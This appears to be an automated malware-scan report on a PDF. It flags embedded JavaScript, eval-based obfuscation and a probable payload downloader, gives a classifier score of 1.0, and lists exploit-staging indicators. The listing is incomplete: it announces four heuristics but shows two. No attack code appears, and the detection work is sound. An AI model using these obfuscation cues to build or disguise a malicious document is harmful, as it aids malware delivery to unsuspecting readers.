The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. A high-severity PDF_EVAL heuristic firing suggests the use of eval(), a common technique for obfuscating malicious JavaScript. The extracted JavaScript object, javascript_obj0006_000.js, likely contains code to download and execute a secondary payload. The authoring application being Notepad suggests manual manipulation of the PDF structure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
